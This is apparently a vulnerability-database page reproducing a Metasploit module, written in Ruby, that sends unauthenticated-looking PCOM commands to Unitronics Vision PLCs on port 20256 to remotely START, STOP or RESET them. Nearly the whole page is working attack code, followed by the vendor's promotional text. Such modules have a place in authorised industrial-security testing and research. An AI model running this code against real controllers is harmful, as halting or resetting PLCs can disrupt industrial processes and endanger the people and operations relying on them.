Lucene search
K

Unitronics PCOM remote START/STOP/RESET command

🗓️ 11 Feb 2019 19:46:00Reported by Luis Rosa <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 43 Views

Unitronics PCOM remote START/STOP/RESET command allows remote administrative functions to control the PLC using authenticated PCOM commands. This module supports START, STOP and RESET operations

Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary

  include Msf::Exploit::Remote::Tcp
  include Rex::Socket::Tcp
  include Rex::Text

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Unitronics PCOM remote START/STOP/RESET command',
      'Description'   => %q{
        Unitronics Vision PLCs allow remote administrative functions to control
        the PLC using authenticated PCOM commands.

        This module supports START, STOP and RESET operations.
      },
      'Author'        =>
        [
          'Luis Rosa <lmrosa[at]dei.uc.pt>'
        ],
      'License'       => MSF_LICENSE,
      'References'    =>
        [
          [ 'URL', 'https://unitronicsplc.com/Download/SoftwareUtilities/Unitronics%20PCOM%20Protocol.pdf' ]
        ],
     ))

    register_options(
      [
        OptEnum.new('MODE', [true, 'PLC command', 'RESET', ['START', 'STOP', 'RESET']]),
        Opt::RPORT(20256),
        OptInt.new('UNITID', [ false, 'Unit ID (0 - 127)', 0]),
      ])
  end

  # compute and return the checksum of a PCOM ASCII message
  def pcom_ascii_checksum(msg)
    (msg.each_byte.inject(:+) % 256 ).to_s(16).upcase.rjust(2, '0')
  end

  # compute pcom length
  def pcom_ascii_len(pcom_ascii)
    Rex::Text.hex_to_raw(pcom_ascii.length.to_s(16).rjust(4,'0').unpack('H4H4').reverse.pack('H4H4'))
  end

  # return a pcom ascii formatted request
  def pcom_ascii_request(command)
    unit_id = datastore['UNITID'].to_s(16).rjust(2,'0')
    # PCOM/ASCII
    pcom_ascii_payload = "" +
      "\x2f" + # '/'
      unit_id +
      command +
      pcom_ascii_checksum(unit_id + command) + # checksum
      "\x0d" # '\r'

    # PCOM/TCP header
    Rex::Text.rand_text_hex(2) + # transaction id
      "\x65" + # ascii (101)
      "\x00" + # reserved
      pcom_ascii_len(pcom_ascii_payload) + # length
      pcom_ascii_payload
  end

  def run
    connect
    case datastore['MODE']
    when 'START'
      print_status 'Sending START command'
      ascii_code = "\x43\x43\x52" # CCR
    when 'STOP'
      print_status 'Sending STOP command'
      ascii_code = "\x43\x43\x53" # CCS
    when 'RESET'
      print_status 'Sending RESET command'
      ascii_code = "\x43\x43\x45" # CCE
    else
      print_error "Unknown MODE"
      return
    end

    sock.put(pcom_ascii_request(ascii_code)) #
    ans = sock.get_once
    if ans.to_s[10,2] == 'CC'
      print_status 'Command accepted'
    end
    disconnect
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation